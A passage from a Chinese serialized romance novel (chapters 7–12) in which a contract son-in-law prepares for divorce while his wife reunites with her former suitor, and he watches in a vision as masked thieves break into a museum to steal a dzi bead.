“怎么不可能,不信你去问夫人,去问周助理也行,大家心照不宣,只是不想说出来罢了!” “这年头,坏人多作怪!” “但愿老天爷开眼,早点让那些坏人绳之于法!” 看到眼下情形,秘书惊讶地捂住嘴巴,眼睛瞬间瞪圆。 赵教授可是大名鼎鼎的人物,没想到,他的死因竟然这么离奇! 如果事情是真的,那害死赵教授的保安就应该千刀万剐! 两人说话间,旁边又走来一个年轻人。 “现在,只能把希望寄托在警方,可警局那边一直没有传来肯定的消息。” “听说今天还带专业人员还来了现场,也不知道今天能不能给出答复。” “赵教授,如此离世,真的是太可惜了。” 唐若涵愣神。 脑海当中,一直闪过赵明来教授和蔼可亲的样子。 如此善良的一个人,怎么会…… “出来了,唉,看他们走得这么匆忙的样子,应该还是没有结果。” 年轻人一脸沮丧,目光盯着正前方。 两个身影出现在众人眼中。 唐若涵一怔,表情瞬间僵在脸上。 林泽? 唐若涵惊讶。 不远处的那个人,就是林泽! 自己肯定不会看错。 可是。 他怎么会来这种地方?而且还是跟警察在一起? 在唐若涵的印象里,这三年当中,林泽根本没有什么社交,而且,林泽好像除了做饭和收拾家务以外,并不会其他的。 这专业人员,说的就是他? 不可能! 唐若涵还在思索。 林泽和张军已经走出大门,直接上了警车。 唐若涵眯起眼睛,脸上再次闪过不可置信。 突然。 一阵手机铃声传来。 唐若涵的思绪已被打断。 手机屏幕上,“苏晴”两个字十分醒目。 按下接听键,唐若涵还没有说话,苏晴紧张的声音已经传来。 “表姐,你在哪儿?怎么还不回公司?” “吴庸提前回来了,还有一个小时就要下飞机,你人跑哪儿去了?” “你想错过这场美丽的相遇吗?” 苏晴的声音叽叽喳喳。 唐若涵眉头皱成一团。 “吴庸提前回来了?我怎么不知道?” “你不看朋友圈的吗,他上飞机的时候已经发朋友圈了,我以为你们私底下有联系,怎么你真的……” 不等苏晴把话说完,唐若涵直接开口将其打断。 “好了,我知道了,我马上回去!” 第7章 那场车祸,也算因祸得福。 返回路上,唐若涵打开手机,果然刷到吴庸朋友圈的更新。 “终于要回国了,我的祖国母亲,我心心念念的女孩,三年未见,愿别来无恙。” 配图。 是一张机场的照片。 湛蓝的天空中,朵朵白云惬意悠闲,形成的图案,仿佛都带着一丝喜悦。 唐若涵的手指停在半空当中。 思索片刻。 终于点了一个赞。 将近半个小时后。 唐若涵的汽车出现在别墅门口。 雕花大门还未开启,一个身影便站冲出来。 同时,还伴随着暴躁的埋怨。 “表姐,你到底在干嘛,是不是知道吴庸要回来,你都高兴的找不到北了?” “这么大的事情还用我提醒你,你就不怕吴庸埋怨你吗?” “还说什么为了吴庸要死要活,我看,你根本就不在意他!” 苏晴的话一句连着一句。 嗓门洪亮,语无伦次。 刺目阳光下,苏晴的腮帮圆鼓,栗色微卷短发略显凌乱,白皙面孔上满是愠怒。 唐若涵刚一下车,苏晴便双手叉腰,清澈眼神当中充满质问。 “有点事情出去了,一忙起来就忘了看朋友圈。” 唐若涵愧疚地看着苏晴,接着掏出纸巾,替她擦了一下脑门上的汗水。 “天呐,你到底在忙什么,吴庸可是你的心上人……” 唐若涵抬眸,直接打断苏晴。 “好了,别胡说八道,刚才我在办正事。” 见苏晴根本没有要收场的意思,旁边的秘书赶紧帮腔。 “苏小姐,我们唐总最近一直很忙,公司要上市,不少到期合同也要续签,您就体谅一下唐总吧。” “哼!我要是不体谅,能大热天的跑到这边来?”苏晴撅起小嘴,气鼓鼓地白了秘书一眼,“别耽误时间了,你去车里等着,我们换好衣服就去机场!” “对,王秘书,你把今天的行程安排都推掉,一会去机场接人。” 王秘书小心翼翼地点点头,随即转身进了车里。 苏晴则是挽住唐若涵的胳膊,埋怨着跟她一块儿走进别墅。 “表姐,我们时间不多了,如果吴庸下飞机看不到你接机,肯定会特别失落的。” “林泽那边,你想好怎么办没有?” “要不那个干脆,我直接把人带走得了。” 前几句。 唐若涵都不动声色地听着,可听到最后一句,直接转身。 “什么意思?你不会真对林泽有什么想法吧?” 苏晴怔了一下,明亮的眼睛再次开始眨巴。 “就算我对他有想法,也得你同意啊,你们现在还有婚姻关系,是受法律保护的,我可不想做破坏别人婚姻的第三者。” “行了,你这法律专业没有白读,接下来,是不是又要跟我讲条款了?” 唐若涵抬手,纤细手指当场点了一下苏晴的鼻子,“小脑袋瓜里,哪有那么多莫名其妙的想法,快走吧!” 眼见时间不早,唐若涵匆忙换了衣服,随后拉着苏晴往外走。 唐若涵没有想到,吴庸会提前回来。 眼下林泽的事情还没有处理好,哪怕她跟吴庸再续前缘,也不像苏晴说的那样,一点就着。 感情的事,还是要慢慢来的。 毕竟他们三年不见,刚一见面就如胶似漆也有些不现实。 况且,她现在还是林泽法律上的妻子。 即便心有所属,也得等到解除婚姻关系再做后续安排。 不然,哪怕唐家在东海势力再大,也无法抵挡那些流言蜚语。 唐若涵思绪飘忽,心神不宁。 “表姐,要不,我还是别去了,你们两个人卿卿我我,我在一旁干杵着多别扭?” 苏晴突然停下,当场改变主意。 唐若涵柳眉紧蹙,声音当中带着一丝危险。 “事到跟前要变卦?” “你这不是临阵脱逃吗?当初怎么答应我的?” “你是想着让我跟小姨——谈谈心吗?” 最后一句话,唐若涵说得无比郑重。 苏晴的头立刻摇得跟拨浪鼓一样,“表姐,别把话说的那么绝,我这……不是为你考虑嘛!” “为我着想,就按当初说的去做,不许再出什么幺蛾子!” 加大手上的力道,唐若涵脚步也跟着快起来。 苏晴撇撇嘴,一边走一边小声地嘀咕。 嘟嘟囔囔一大堆,具体说了什么也只有她自己能听得到。 一直到上车,唐若涵抓着苏晴的手都没有松开过。 得知吴庸要回来的消息以后,唐若涵便决定让苏晴跟她一块去接机。 首先,苏晴知道她跟吴庸之间的来龙去脉。 其次,两个人一块去,也合理一些。 至少,可以减少一些八卦消息。 汽车飞速行驶。 唐若涵的思绪也回到三年前的大学时光。 从大一到毕业。 吴庸一直是学校里熠熠闪亮的那颗星。 无论是学术还是观点辩论,吴庸都是惹人注目的存在。 用吴庸自己的话说,那便是,虽叫庸,却不平庸。 纵观历史,刘庸,乔致庸名垂千古。 文坛史上,还有一个改变文学航线的金,庸。 未来的天地,总有一方属于他吴庸! 众目睽睽之下,吴庸一番激情的讲述引起唐若涵的注意。 更让唐若涵意外的是,阐述完毕后,吴庸竟然当着众人的面,大声说,他要追求自己! 面对大家灼灼的目光以及起哄的声音,唐若涵脸上闪过一丝愠怒,当场转身离开。 此后。 校园里便传出种种说法。 东海大学的才子吴庸要追求唐家大小姐了。 吴庸才华横溢,誓要追求到孤傲清冷的高岭之花唐若涵。 对于各种传闻,唐若涵不理会,不解释。 大有一副谣言止于智者的心境。 在唐若涵看来,吴庸也只是有才华,至于感情,还谈不上。 只是,在毕业联欢会上,吴庸自创的那首情歌,悄悄打动了唐若涵。 一直平静如水的心湖,也荡起层层涟漪。 之后的一番接触,唐若涵也发现吴庸更多的优点。 善良,阳光,有爱心且乐于助人。 只是对于吴庸的追求,她一直没有点头。 进入家族集团后,两人也是以朋友状态相处。 “如果没有那次车祸,我和他……估计也不会有交集。” 唐若涵喃喃自语。 苏晴立刻凑过来。 “你们这叫缘分,那场车祸,也算因祸得福。” 第8章 你家牲口,年薪几十万? “如果有个男人愿意为我身中数刀,我也会被感动。” “况且,那人还才华横溢,追求了你那么多。” “我就想不明白,姨夫跟大姨究竟是怎么想的,怎么能忍心棒打鸳鸯?” 一番埋怨后,苏晴突然停下,接着嘴巴也闭得严严实实。 脑海当中,突然闪过了林泽的影子。 “其实,姐夫也挺好的,这三年来,他对你也无可挑剔,表姐,你要跟姐夫离婚,会不会舍不得?” 唐若涵猛然回头,不可置信地看着苏晴。 “你在乱说什么,你又不是不知道,我跟林泽……根本没有感情,我们这是包办婚姻!” 深吸一口气,唐若涵就差说出,包办婚姻不作数这种话。 想起跟林泽的婚礼,唐若涵又是一阵沮丧。 唐家是东海有名望的大家族,她又是唐英豪的独生女。 婚礼现场奢华典雅,无限风光。 那天过后。 几乎整个东海的人都知道了,唐家有个赘婿。 这场婚姻众人皆知,又怎么能说不作数? 也正是因为如此。 整整一个月,唐若涵没有跟林泽说一句话。 接下来的三年里,两个人也是感情寡淡,相处如主仆。 唐若涵手指紧了紧,嘴唇抿得愈发的紧。 是林泽,毁掉了她的人生。 即便跟林泽没有夫妻之实,可以后她身上“离婚”的标签还是挥之不去。 “表姐,你别生气了,我错了还不行吗,我祝你跟吴庸百年好合,爱情甜蜜,有情人终成眷属……” “啪!” 清脆的响声传出。 苏晴急忙缩回手。 随即,便是倒吸凉气的声音。 “再乱说,我打的就不是你的手掌了!” 见唐若涵像是真的生气的样子,苏晴吐吐舌头,真不敢接着往下说了。 将头转向窗外,唐若涵看着外面的风景。 心中。 也不由得将林泽跟吴庸做起对比。 林泽确实很本分,世上也没有什么坏习惯,只是,他怎么能和吴庸相提并论呢? 吴庸,可是为了自己,连命都能舍得出去的男人啊! 十几分钟过后。 唐若涵和苏晴下车。 “王秘书,你先回去吧,不用在这里等我,对了,记得跟林泽说一声,今天晚上,我不回去吃饭。” “好的,唐总,唐总再见。” 王秘书语气恭敬。 亲眼目送唐若涵离开,这才将汽车掉头。 下午五点。 林泽回到别墅。 还未走到门口,便看到唐若涵的黑色限量版迈莎锐正停在路边。 林泽心中一紧。 唐若涵怎么这个时候回来了? 本能抬起手腕,看到还不到开饭的时间,林泽这才松了一口气。 再次抬眸,车门打开,有人正从汽车里走出。 “王静?” 看到是唐若涵的秘书,林泽瞬间收回目光。 这个秘书王静,是最近一段时间才出现在唐若涵身边的。 偶尔,唐若涵也会让王静开车送她回来。 王静踩高捧低,典型的势利眼。 林泽最看不起的就是这种人。 如果不是实在躲不过,林泽绝对不会跟这样的人说话。 同一时间。 王静也看到正走过来的林泽。 对于唐若涵和林泽之间的那些事,外面早已经传得沸沸扬扬。 再加上刚才苏晴和唐若涵的谈话,王静更加看不起眼前唐家这个倒插门女婿! 看到林泽手里空空,不等他走近,王静的声音提高,脸色骤然阴沉。 “呦呦呦,林先生,这是去哪儿遛弯来着?” “这年头,做赘婿,吃软饭,难道也需要饭后消食?” 说话间。 王静死死地盯着林泽。 可林泽并没有朝她这边看。 对于刚才的嘲讽,也似乎没有听到一样。 仅仅几步之遥,林泽就要从自己身边走过,王静瞬间恼火。 “姓林的,你是不是没有听到我说话?你眼瞎了吗?” 王静上前一步,一下子挡住了林泽的去路。 目光当中,满是嘲讽与挑衅。 林泽放缓脚步,直视王静的目光。 王静心中一紧,瞬间打了个冷战。 “你,盯着我看什么?现在都几点了,你还不回去做饭,你是想耽误唐总吃饭吧?还有,你为什么不回答我的话?” 林泽冷笑一声。 “怪了,谁家的牲口在叫唤?” 王静当场瞪圆眼睛,“你说什么,你说我是牲口?林泽,你疯了吗!” 王静气得浑身打哆嗦,思绪也乱成一团! 在整个东海,谁不知道唐氏企业? 她可是唐氏总裁身边的秘书!可是能呼风唤雨的人物! 可在这个赘婿的眼中,竟然成了牲口? 瞬间。 王静心中的怒火再也压制不住。 “我是牲口?你见过哪个牲口是名牌大学毕业的?” “你家的牲口年薪有几十万吗?” “林泽,马上给我道歉,我绝对不允许你这样侮辱我!” 王静攥紧拳头,指甲都嵌入掌心。 一张脸,涨得如同猪肝。 唐家的上门女婿,三年来没有参加过任何工作,只靠着伺候女人吃软饭,他有什么资格嘲笑自己? 跟这个土里刨食的农村土包子相比,自己可要优秀多了! 脑子里闪过这些。 王静已经下定决心,今天如果林泽不道歉,这件事情过不去! “道歉?” “对,马上跟我道歉!” “做梦!” 面对林泽果断的拒绝,王静目瞪口呆。 眼前这个人,这是怎么了? 之前,他去公司给唐总送饭的时候,那种谦逊和卑微,自己记得清清楚楚。 怎么现在,就像换了一个人? 不仅骂自己,好像腰杆也挺起来了。 这……底是怎么回事? 王静惊讶的同时。 林泽也在审视着面前的人。 以前,看在唐若涵的面子上,自己不得已的时候会跟这人说上几句话。 面对王静的嘲讽,他也能忍着。 可现在,仅仅剩几天,他跟唐若涵便是路归路桥归桥。 很快,连唐若涵都不是自己的什么人了,眼前这个王静,她算个屁! 自己犯不着看她脸色,更不用惯着她! 若她再敢叫嚣…… 没等林泽继续往下想,王静已经怒火攻心,当场尖叫! “你说我做梦?我看睡不醒的人是你吧,一个乡下来的土包子,靠一张脸蛋吃晚饭!” “你个不要脸的小白脸,你还是不是人啊?” “要是知道你这个样子,你家坟里头的祖宗都要掀棺材板了!” “丢人现眼的玩意儿……” “啪!” 王静越骂越上头。 突然。 一阵清脆响声传来,王静瞬间被一巴掌掀翻在地! 第9章 一千朵玫瑰的含义。 整个人摔倒在绿化带中,王静依旧满脸的不可置信。 半边脸颊又肿又痛,脑袋嗡嗡作响。 “你……敢动手?你敢打我?” 林泽活动一下手腕,语气当中是掩饰不住的冰冷。 “我一般不与人动手,可在我看来,你不是人!” “别仗着自己是城里人就看不起农村人,像你这种人还不如农村里的土包子!” “乱嚼舌根,毫无底线,对他人的生活评头论足,你的素质还没有农村人高!” “如果继续这样,下次我见你一次,打你一次!” 林泽目光当中满是凌厉。 王静再次不由得打哆嗦,胡乱站起身,她使劲地吸了吸鼻子。 “你别跟我说这些,林泽,今天你打了我,这事没完!” 王静一边拍打身上的灰尘,一边暗自盘算。 林泽,今天你是捅了马蜂窝了! 敢对我动手,以后咱们走着瞧! 我可是唐总身边的秘书,随便说上几句,你就有穿不完的小鞋! 唐家人根本不把你当回事,你一个窝囊的赘婿,就只有受气的份! 林泽冷笑。 “好,那我等着!” 说完,林泽转身。 “站住,等一下!” 王静猛地叫住林泽。 “今天晚上,唐总不回来吃饭!” “还有你搞清楚,我不是因为要传话特意过来这一趟的,就凭你还没有那么大的面子。” “你跟我过来,把唐总的墨镜拿回去。” 虽然半边脸已经肿得老高,可王静说话依然趾高气扬。 看向林泽的眼神,仍旧充满不屑。 不让王静意外的是,林泽不仅没有按照她所说的去做,反而还越走越快。 “你有没有听到我说话?林泽,你到底想干什么!” 此刻。 面对林泽的无视,王静几乎要气炸。 恨恨地跺了好几脚,林泽的声音这才传来。 “不是我分内的事情,凭什么要我去做?不想挨打,就别再逼逼赖赖!” 王静愣神,整个人都懵了。 等到反应过来。 林泽早已经进屋。 “天哪,唐家的赘婿,这是要……造反吗?” 王静摸摸脸颊。 一阵疼痛传来,这才意识到,刚才的一切不是在做梦。 …… 华灯初上,霓虹闪烁。 豪华餐厅内。 吴庸含情脉脉地望着唐若涵。 餐桌旁边。 一万朵玫瑰散发着浓郁的香味。 面对如此庞然大物,唐若涵脸上露出尴尬之色。 玫瑰娇艳欲滴,的确喜人。 可……这么大的花束,有些太过于显眼了。 “吴庸,其实,没有必要这样。” “小涵,你值得拥有最好的。” 吴庸扬起嘴角,脸上的笑容,如同西装袖口的精致纽扣一般,光泽四溢。 三年不见。 吴庸改变了很多。 脸上再无之前的青涩,取而代之的,是成熟男人特有的稳重与果断。 吴庸一向恃才自傲,很少将人放在眼中。 但是对唐若涵却始终如一。 苏晴看看吴庸,再看看唐若涵,眼神当中满是羡慕。 吴庸定制西装加身,面料考究,裁剪合体,西服上每一个设计,都在衬托他身姿的挺拔。 就连领带上面,都用银线绣着奢华的图案。 他身上的一切,都在彰显品位与奢华。 对面。 唐若涵身材妙曼,谈吐不凡。 灯光下,精致面孔上闪过一丝红晕。 典型的郎才女貌。 低头看看自己,苏晴这才意识到什么叫做不合时宜。 这一顿晚餐,这浪漫的氛围,应该是属于他们两个人的。 自己妥妥的就是个电灯泡。 苏晴正觉得尴尬,抬眼便遇上唐若涵的目光。 那眼神里的意思,她懂。 就是救场呗! “咳咳!” 尴尬地清了清嗓子,苏晴努力在脸上挤出一丝笑容。 “这玫瑰真漂亮,只是,怎么不是九百九十九朵,而是一千朵?” “据说,九百九十九朵玫瑰的寓意是天长地久,一千朵玫瑰,代表着爱你一万年。” “相比之下,前者不是比一千朵更有意义吗?” 巧妙转移话题之后,苏晴悄悄松了一口气。 吴庸嘴角扬起弧度。 “每个人表达感情的方式都有不同,在我看来,一万年比天长地久要更有意义。” “毕竟,天长地久有时尽。” “而一万年虽然有期限,却也足够有几生几世了。” 此话一出。 苏晴瞬间怔住。 就连对面的唐若涵也有些诧异。 这种说法,她以前确实没听说过。 吴庸,的确经常出人所料。 “哈哈哈,原来还有这种说法,是我肤浅了。” 苏晴伸手抚了抚前额,尴尬的脚趾都要抠出三室一厅。 早知道接机以后还会有这种安排,她说什么也不会跟着过来。 明明说着不当电灯泡。 可现在,自己这不就是个妥妥的电灯泡吗! …… 回到别墅。 林泽一阵轻松。 尽管已经在这里住了三年,可唐若涵回来与不回来,还是有很大的区别。 将屋子简单收拾一番,林泽这才拿出笔记本电脑。 再过几天,合约便能到期。 离婚以后,自然是不能继续住在这里的。 所以,在这几天里,必须要找一个稳定的工作。 但现在应届的毕业生一抓一大把,各大企业的专职位置,又都有工作经验限制。 所以他的简历投出去,有百分之五十的回复率已经不错了。 对此。 林泽也做好了心理准备。 可即便如此,还是要另寻出路的。 爷爷后续的住院费用要交,而且,自己身上的病,也不能再拖下去…… 林泽愣神,屏幕透过来的光亮,映得她的脸颊越发的苍白。 甚至。 林泽已经想到最低的底线。 如果没有办法在大企业找到工作,那就去私人公司应聘。 先不说之前学校当中的知识积累,仅凭着这些年在档案库里学到的那些,暂时糊口,应该还是可以的。 定神过后。 林泽又在简历当中补充,“喜欢龙国传统文化,有鉴赏经验,可以做修复,文物讲解等工作。” 简历重新投放完毕,林泽这才松了一口气。 这时。 墙上钟表的指针已经指向八点。 “她,今晚应该不回来了吧?算了,先弄些吃的。” 走进厨房,林泽打开冰箱。 随便拿了几根蔬菜,接着打开旁边的泡面。 唐若涵不在的时候,他已经习惯了简单地对付两口。 本想把手机微信关掉,却不小心划到朋友圈。 看到有更新,林泽随手点开。 瞬间。 一张光鲜亮丽的照片,跃然于眼前。 第10章 三十六码的定制女鞋。 苏晴的朋友圈更新。 “九百九十九朵玫瑰当真不如一千朵玫瑰吗?一朵之差,天壤之别!” 配图是一束硕大的玫瑰花团。 可林泽的注意力,却放在花团旁边那双鞋上。 那是唐若涵的鞋子。 林泽十分确定。 一米七的个头,三十六码的鞋,稍大一点便会不跟脚。 所以。 唐若涵的鞋子都是定制款。 细润纤直的鞋跟,流畅的线条,都如同唐若涵对生活的要求一样完美。 这双鞋子还是林泽取回来的。 当时。 穿上鞋子的那一瞬,唐若涵脸上露出明媚的笑靥。 时至今日。 林泽都记忆犹新。 原来,为了跟吴庸约会,唐若涵早就开始准备了。 林泽怔住。 不由得开始想象,唐若涵对面那个心仪之人是什么样的神情? 想必,看到如此温婉的笑容,那位吴先生,心都被融化掉了吧。 心,猛地一紧。 林泽眉头皱起,那种足以温暖整个世界的明媚笑容,他也曾经见到过。 只是…… 林泽微微低头,脑海当中的面孔却越来越清晰。 深吸一口气,再次看向手机屏幕当中的图片时,林泽已经平静。 三年合约马上就到,即便跟唐若涵离婚,他也想一别两宽。 这三年的时光虽然艰难,可当初如果没有唐家的帮助,爷爷不可能醒过来。 这一点,林泽始终铭记于心。 于是,林泽点赞苏晴的朋友圈,并且留言,“愿有情人终成眷属。” …… 面对奢华美食,苏晴好像并不在意。 除了低头看手机,就是转头看向窗外的夜色。 此时。 精心准备的烛光晚餐已经进行到一半。 吴庸去洗手间没有回来。 苏晴再次拿出手机。 唐若涵的目光停在苏晴脸上。 “小晴,你不是最喜欢吃美食吗?今天的饭菜不和胃口?” 唐若涵关切地问道。 苏晴看看唐若涵。 “这跟姐夫做的饭菜比起来,完全不是一个概念。” “相比之下,我更喜欢吃中餐。” “比如,水晶肘子,松鼠桂鱼……” 苏晴的话还没有说完,唐若涵直接开口将其打断。 “好了,环境不同,饭菜的味道也不一样,你怎么总和他做的饭相比?” 唐若涵嘴里的“他”,自然指的是林泽。 可苏晴却没有顺着唐若涵的话说下去,而是惊讶的用手捂住嘴巴。 “怎么了?” 唐若涵起身,几步来到苏晴身边。 “表姐,你看,我发的朋友圈,姐夫点赞了,还说……” 这次。 苏晴的话说到一半便不敢继续说下,而是小心翼翼地吐了吐舌头。 唐若涵柳眉微蹙,直接拿过苏晴的手机。 看到朋友圈的更新以及林泽的留言,唐若涵脸上瞬间蒙了一层薄冰。 “小晴,你在胡闹什么!这种照片,怎么能乱发?” “可是表姐,我又没有提到你,也许姐夫是猜的,”苏晴眨巴眨巴眼睛,“不过,就算他知道了估计也没什么吧,反正你们都要离婚了。” “你……” 见苏晴这样讲,唐若涵越发气恼。 这时。 身后一道慵懒低沉的声音传来。 “小涵,别怪苏晴了,不是什么重要的事。” 唐若涵回头。 瞬间迎上吴庸柔和的眼神。 “我对你的感情,身边的朋友和亲人都知道,三年前,我没有能力保护你,三年后,你也应该开启新的生活。” 给了唐若涵一个肯定的笑容,吴庸重新坐回到座位上。 拿起面前的酒杯,轻轻摇了摇。 “自此以后,在东海,已经有我吴庸的一席之地。” “我无意搅动风云,风云却会因我变幻。” “小涵,不久你便会明白,我会是你最稳妥的靠山。” 吴庸声音充满自信,说话间,习惯性地仰起头。 那高高在上的神态,似乎将一切都排斥在外。 唐若涵一怔。 目光当中闪过一丝不解。 烛光下,吴庸显得那么不真实。 刚才的那一番话,也让她心中隐隐不安。 现在,吴庸事业有成,有着自创的集团,据说已经上市。 可唐若涵看到的,却是他眸子当中掩藏不住的野心。 回过神后,唐若涵重新看向吴庸,他的目光已经变得十分柔和。 难道? 刚才是错觉? 因为灯光的原因,自己看走眼了? “小涵,你不认同我的观点吗?你在想什么?怎么不说话了?” 吴庸的声音再次传来。 唐若涵微微摇头,声音依旧柔和。 “没什么,这里光线有些暗,感觉有些许不适应。” 吴庸脸上笑意更浓,抬手间,腕上的金表再次发出光泽。 “这三年里,我一直在关注你的消息,一个女孩子打理家族企业肯定比男孩子更加辛苦。” “最近,应该没有在这种餐厅吃过饭吧?” “没有要贬低谁的意思,只是,那个林泽,估计他没有能力带你到这种地方来。” 吴庸脸上露出怜悯之色,就差啧啧摇头。 旁边。 苏晴把一缕头发移到耳后,悄悄地眨巴眨巴眼睛。 这个吴庸,到底想表达什么? 嘲笑表姐已经穷得吃不起高档餐厅的饭,还是在讥笑林泽? 可他刚才明明已经说了,并没有要贬低谁的意思啊? “吴庸,林泽,是一个很不错的人,诚实踏实,也很有责任心。” 在这三年当中。 一开始的时候,唐若涵是排斥林泽的。 可随着时间的增长,唐若涵虽然依旧接受不了林泽,但是对于林泽的优点,她还是承认的。 吴庸垂下眼眸,迅速掩饰住眼神里的不悦。 “小涵,三年不见,你还是跟以前一样那么……善良。” “可我就不同了,人在经历一些事情过后,终究会有所感悟。” “现在我要做的,是不让别人欺负你,让你幸福。” …… 林泽将厨房收拾好,刚坐到属于自己的椅子上,门铃突然响了。 迅速起身。 林泽一路小跑着去开门。 同时,心里也在疑惑。 现在是晚上时间九点,大晚上的,谁会这个时候来别墅? 难道,是唐若涵提前回来了? 不可能! 这个时候,估计唐若涵跟吴庸的约会还没有结束。 急忙将门打开,看到面前站着的人,林泽目光当中再次闪过惊讶。 “站在这里干什么?有事吗?” 第11章 我以为你今晚不回来。 想想时间,再看看面前的唐若涵。 林泽一脸诧异。 “唐总,你怎么这么早就回来了?” 唐若涵柳眉微皱,抬手将包递给林泽。 “你的意思是,我还要有其他的安排?” 林泽回过神,随即摇头,“不好意思,唐总,我以为你今晚不会回来。” 话音未落。 唐若涵脸上瞬间蒙上一层薄冰,“不回来,去哪里?” “不是,您不是正跟白月光约会吗,所以……” 话,林泽只说了一半。 但其中的意思,已经明显的不得了。 “林泽,你够了!” 唐若涵气得脸色发红,眼眸都跟着瞪圆。 “我要去哪里,不用你安排,你给我闪开!” 不等林泽反应过来,唐若涵迅速伸手,一把将林泽推向一旁。 自己则是怒气冲冲地直奔洗漱间。 林泽疑惑,眼神当中满是不解。 自己说错什么了吗? 前不久,苏晴不是刚刚发了朋友圈吗?他们明明在吃饭啊! 不过三两句话而已,怎么还生那么大的气? 关好房门。 林泽转身。 接着好像察觉到是哪里出了问题。 唐若涵出身名门,性子高傲,从小接受的教育也很传统。 结婚三年当中,她虽然对自己疏离冷漠,却也没有做出对婚姻不忠之事。 三年都过来了,眼看着马上就能离婚,她更不会在这个节骨眼上做出什么莽撞的事情。 否则。 外界的那些风言风语不仅会影响到她,还会让家族蒙羞。 唐若涵是一个非常小心的人。 在婚内期间夜不归宿,这种事情他必然做不出来。 “要不要去道个歉?刚才的话确实说得有些莽撞了。” 林泽自言自语,随即看向洗漱间的方向。 还没下定决心,一阵突兀的铃声忽然传来。 唐若涵的手机响了。 此刻。 唐若涵正在洗脸,听到手机铃声,本能地转头看了一下。 林泽手里拎着包,站在唐若涵的不远处。 虽然共同生活了三年,但林泽的边界感始终没有变过。 虽然他们是名义上的夫妻,可在林泽看来,唐若涵就是自己的雇主。 主仆关系而已。 还没有熟络到不经唐若涵的同意,就主动能接听她电话的地步。 手机铃声一直响个不停。 林泽上前一步。 “唐总,您的电话。” 唐若涵将脸擦干,随手拿起一瓶化妆品,轻柔地挤出几滴,慢慢涂在脸上。 “你帮我接一下。” “好的,唐总。” 说话间。 林泽拿出包里的手机,小心地按下接听键,随即打开扬声器。 还没开口说话,苏晴的声音便从电话那端传来。 “表姐,你怎么说走就走,吴庸接下来的安排都准备好了!” “他说要在明珠大楼的楼顶给你一个惊喜。” “毕竟我们三年没见,哪有刚一见面就这么匆匆离开的?” “表姐,你不怕吴庸生气吗?” 苏晴声音悦耳,语气当中却充满急切,同时,还有深深的不满。 唐若涵没有说话,继续涂护肤品。 林泽手里拿着手机,表情平静,对于电话里头的内容仿佛没有听到一般。 一直等到腾出手,唐若涵这才淡淡地说了句,“要不要准备惊喜是他的事,配不配合是我的事,三年不见,不是我破坏原则的理由。” “表姐,可你们是真心相爱啊,再说,不就是在外面多待一会儿吗,这也不是什么破坏原则的事情。” 说到这,苏晴声音陡然提高。 “天哪,表姐,你该不会是喜欢上姐夫了吧?你担心他会不高兴,可以早早回家?” 唐若涵一怔。 林泽的手也跟着抖了一下。 这个话题虽然不可能,可让苏晴说出来,多少还是让人觉得尴尬的。 “苏晴,你胡说八道些什么!” “表姐你别生气,我错了还不行吗,”苏晴声音变得可怜巴巴,“其实,我就是心疼的那一万朵玫瑰花。” “送你了,泡茶喝去吧!” “什么泡茶?表姐,你欺负我不懂是不是,那是观赏型玫瑰,生产过程当中有杀虫剂和农药的,我要真的泡了茶,健康会受到影响!” 唐若涵一下子被气乐。 这个丫头,说起饭菜跟健康,谨慎得让人挑不出毛病。 可是,在其他方面,怎么就像少根筋一样? 想想刚才她说的话,唐若涵急忙接过面前的手机,眼睛刻意避开林泽。 将手机调成听筒状态,唐若涵一边走向卧室,一边开口。 “小晴,我跟吴庸之间,不是你想的那样,你也不要乱出主意了。” 旁边。 林泽见唐若涵离开,他则是去了厨房。 半小时以后。 林泽将炖好的汤送到唐若涵的卧室,这才回自己的房间。 家务早已经做好,今天,他可以早点休息。 此刻。 墙上的钟表,指针已经指向十一点。 林泽躺在床上,回想着今天发生的事情,缓缓闭上眼睛。 很快。 林泽来到那个熟悉的地方。 耳边传来水滴声。 林泽一步步往上走。 面前的雾霭也逐渐清晰。 来到档案库门前,林泽已经下定决心,今天,就看关于九眼天珠的档案。 跟之前一样。 其他门上,巨大锁链缠绕。 唯独“过往”房间的门,开了一道缝。 林泽没做停留,抬手推门。 “吱呀——” 沉重响声传出,门被打开。 林泽再次看到眼前那数以亿计的档案。 薄厚不一,却排放有序。 根据文物转移时间,那些最新更新的文物档案会被放在最前边。 林泽按照时间寻找。 很快。 九眼天珠的档案便跃然于眼前。 “东海市博物馆,九眼天珠。 林泽心情激动,拿起档案,当场翻阅。 “东海市博物馆,九眼天珠,放置人,李欣然,放置时间,七年。” 望着档案上的数字,林泽神情严肃。 随即。 泛黄纸张上,仿佛出现神秘力量。 林泽一阵眩晕。 再次睁开眼。 已经身处东海市博物馆二楼展厅。 深夜的博物馆一片静谧,展厅里的文物,仿佛都已经进入睡眠状态。 九眼天珠平静地躺在展柜当中。 突然。 “嘎哒”一声从窗户缝隙当中传来。 林泽转头,面朝窗户的方向。 为了看清楚些。 林泽还专门向前走了两步。 此刻,他脸上毫无紧张之色。 因为在这些场景当中,他完全是一个透明观望的存在。 第12章 大家的?我现在就砸了它! “嘎哒!” “嘎哒!” 随着连续声响传出。 黑暗中。 竹梯子的两端,突然出现在窗口。 接着。 像是有人在匆忙的爬梯子。 “来了!” 林泽抬头,似乎在等待着有人破窗而入。 时间一点点过去。 林泽看到有人撬开窗户,接着又从窗户跳进来。 随行的一共有三个人。 身手不是太灵敏,但每一个动作都做得小心翼翼。 三个人都用黑丝袜蒙着脸,所以看不清楚长相。 可看到这三人的身形,林泽瞬间感觉熟悉。 没想到,这个盗窃团伙作案竟然如此频繁! 刚刚盗走北宋官窑弦纹瓶,竟然又打起了九眼天珠的主意! 三人刚落地便开始迅速查找。 此时。 博物馆里的安保设施仿佛都已经失灵。 一束束手电筒的光亮在二楼闪烁,三个人也在急切地说着话。 “再干这一把,把钱一分,我们半辈子都吃喝不愁了。” “以后,咱们隐姓埋名,只要咱哥仨不说,谁也不知道咱们的这个底子。” 走在最前面的男人一边查看,一边压低声音嘀咕。 他身材偏胖,步伐却很轻。 林泽清楚地看到,此人走路的时候,几乎全都是用脚掌,很少用脚后跟着的。 看到身后的光亮没有跟过来,那人急忙回头。 “老二,你在犯什么混!” “来之前咱们可是说好的,一切按照计划进行,如果这次出什么闪失,咱们可就都完了!” “不光会被逮着,之前的那些存货还会被刨出来!” 胖男人快走几步,一把拉住其中一个的胳膊,“你听到了没有!” “听……听到了!大哥,放……心,出不了事!” “别在这里说大话,我还不知道你,别老盯着那些手串子看,那些不值钱!” 仿佛被人说到了心里,被训斥的人急忙低下头,嘿嘿笑了两声。 林泽微微皱眉。 截止目前,他并没有看到博物馆里的相关人员。 